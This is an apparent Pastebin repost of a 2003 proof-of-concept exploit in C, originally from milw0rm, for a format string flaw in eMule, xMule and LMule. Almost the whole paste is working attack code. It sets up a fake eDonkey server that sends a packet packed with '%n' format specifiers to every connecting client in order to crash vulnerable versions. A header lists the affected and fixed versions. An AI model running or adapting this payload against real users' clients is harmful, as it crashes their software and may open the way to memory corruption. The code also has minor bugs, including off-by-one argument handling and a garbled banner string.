Advertisement
FlyFar

eMule/xMule/LMule - OP_SERVERMESSAGE Format String Vulnerability

Mar 1st, 2024
983
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.98 KB | Cybersecurity | 0 0
  1. /*
  2.  * eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
  3.  * (SecurityFocus BID 8443)
  4.  * proof of concept code
  5.  * version 1.0 (Aug 29 2003)
  6.  *
  7.  * by Rémi Denis-Courmont
  8.  *
  9.  * This vulnerability was found by:
  10.  *   Stefan Esser <s.esser@e-matters.de>
  11.  * whose original advisory may be fetched from:
  12.  *   http://security.e-matters.de/advisories/022003.html
  13.  *
  14.  * Vulnerable:
  15.  *  - eMule v0.29c -> wait for server connection timeout (!?! I need help !?!)
  16.  *  - xMule stable v1.4.3 -> crash
  17.  *  - xMule unstable v1.5.6a -> crash
  18.  *  - Lmule v1.3.1 (NOT tested) -> ???
  19.  *
  20.  *   There is something wrong with eMule 0.29c (exception handling) and it
  21.  * refuses to crash.
  22.  *
  23.  * Not vulnerable:
  24.  *  - xMule stable v1.6.0,
  25.  *  - eMule v0.30a.
  26.  *
  27.  *   As a format string vulnerability over a possibly large format input
  28.  * buffer, experienced assembly coders (ie. NOT me) should be able to exploit
  29.  * this vulnerability (you can find as much as 2 mega-bytes available in the
  30.  * stack in the socket input buffer, and the message is also duplicated on
  31.  * the heap and can be as long as 65535 bytes). However, getting clients to
  32.  * connect to while not impossible, will be very very hard: Even though many
  33.  * clients adds current server of other clients to their own server lists, so
  34.  * that you can promote yourself as a server by actively connecting to others,
  35.  * it is unlikely that your "server" will be selected from the list which
  36.  * often exceeds 100 entries.
  37.  *   Anyway, the following proof-of-concept is entirely passive, so you will
  38.  * probably only be able to test it against yourself (which is very fine,
  39.  * because you usually are you only legal victim).
  40.  */
  41.  
  42.  
  43. /*****************************************************************************
  44.  * Copyright (C) 2003  Rémi Denis-Courmont.  All rights reserved.            *
  45.  *                                                                           *
  46.  * Redistribution and use in source and binary forms, with or without        *
  47.  * modification, are permitted provided that the following conditions        *
  48.  * are met:                                                                  *
  49.  * 1. Redistributions of source code must retain the above copyright         *
  50.  *    notice, this list of conditions and the following disclaimer.          *
  51.  * 2. Redistributions in binary form must reproduce the above copyright      *
  52.  *    notice, this list of conditions and the following disclaimer in the    *
  53.  *    documentation and/or other materials provided with the distribution.   *
  54.  *                                                                           *
  55.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
  56.  * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
  57.  * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
  58.  * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
  59.  * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
  60.  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
  61.  * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
  62.  * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
  63.  * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
  64.  * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
  65.  *****************************************************************************/
  66.  
  67. #include <stdio.h>
  68. #include <stdint.h>
  69. #include <sys/types.h>
  70. #include <sys/socket.h>
  71. #include <unistd.h>
  72. #include <netdb.h>
  73.  
  74. int gai_errno = 0;
  75.  
  76. void
  77. gai_perror (const char *str)
  78. {
  79.     if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
  80.         perror (str);
  81.     else
  82.         fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
  83. }
  84.  
  85.  
  86. int
  87. socket_listen (const char *hostname, const char *servname)
  88. {
  89.     struct addrinfo hints, *res;
  90.  
  91.     hints.ai_family = PF_INET;
  92.     hints.ai_socktype = SOCK_STREAM;
  93.     hints.ai_protocol = 0;
  94.     hints.ai_flags = AI_PASSIVE;
  95.  
  96.     if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
  97.     {
  98.         struct addrinfo *ptr;
  99.  
  100.         for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
  101.         {
  102.             int sock;
  103.  
  104.             sock = socket (ptr->ai_family, ptr->ai_socktype,
  105.                     ptr->ai_protocol);
  106.             if (sock != -1)
  107.             {
  108.                 const int val = 1;
  109.  
  110.                 setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
  111.                         &val, sizeof (val));
  112.                 if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
  113.                  || listen (sock, INT_MAX))
  114.                     close (sock);
  115.                 else
  116.                 {
  117.                     /* success! */
  118.                     freeaddrinfo (res);
  119.                     return sock;
  120.                 }
  121.             }
  122.         }
  123.         freeaddrinfo (res);
  124.     }
  125.     return -1;
  126. }
  127.  
  128.  
  129. int
  130. send_server_message (int fd/*, const char *message*/)
  131. {
  132.     /*
  133.      * Note that eDonkey is an Intel-centric protocol that sends/receives
  134.      * everything in counter-network-byte order (ie. low order first).
  135.      */
  136.     uint8_t buf[] =
  137.         "\xE3" // protocol
  138.         "\x70\x01\x00\x00" // packet size
  139.         "\x38" // command (Server message)
  140.         "\x6D\x01" // message length (xMule ingores it, eMule reads it)
  141.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  142.         "Welcome to messmule, a proof-of-concept for:\n"
  143.         "eMule/xMule/Lmule OP_SERVERMESSAGE\n"
  144.         "Format String Vulnerability\n"
  145.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  146.         "If you can read this message from your Server info box,\n"
  147.         "your client is probably not affected by that vulnerability.\n"
  148.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  149.         ;
  150.  
  151.     return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
  152. }
  153.  
  154.  
  155. static int
  156. usage (const char *path)
  157. {
  158.     printf (
  159. "Syntax: %s [port [hostname|IP]]\n"
  160. "        Attempt to crash eMule/xMule/LMule clients which will connect to\n"
  161. "        the specified server port (or 4661 by default), at the local\n"
  162. "        host address (or any available address by default)\n", path);
  163.  
  164.     return 2;
  165. }
  166.  
  167.  
  168. int
  169. main (int argc, char *argv[])
  170. {
  171.     puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
  172.             "Format String Vulnerabilitytion Vulnerability\n"
  173.         "proof of concept code\n"
  174.         "Copyright (C) 2003 Rémi Denis-Courmont "
  175.             "<exploit@simutrans.fr.st>\n");
  176.     if (argc > 3)
  177.         return usage (argv[0]);
  178.     else
  179.     {
  180.         int listenfd;
  181.         const char *host, *port;
  182.  
  183.         port = (argc < 2) ? "4661" : argv[2];
  184.         host = (argc < 3) ? NULL : argv[3];
  185.         printf ("Binding to [%s]:%s ...\n",
  186.             (host != NULL) ? host : "any", port);
  187.         listenfd = socket_listen (host, port);
  188.         if (listenfd == -1)
  189.         {
  190.             gai_perror (host);
  191.             return 1;
  192.         }
  193.  
  194.         while (1)
  195.         {
  196.             int clientfd;
  197.  
  198.             fputs ("Waiting for a client to connect ... ", stdout);
  199.             clientfd = accept (listenfd, NULL, 0);
  200.             if (clientfd == -1)
  201.             {
  202.                 puts ("");
  203.                 perror ("Error");
  204.                 continue;
  205.             }
  206.             puts ("OK");
  207.             fputs ("Sending server message ... ", stdout);
  208.             if (send_server_message (clientfd))
  209.             {
  210.                 puts ("");
  211.                 perror ("Error");
  212.             }
  213.             else
  214.                 puts ("Done");
  215.             close (clientfd);
  216.         }
  217.     }
  218.  
  219.     return 0; /* dead code */
  220. }
  221.  
  222.  
  223. // milw0rm.com [2003-09-01]
  224.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement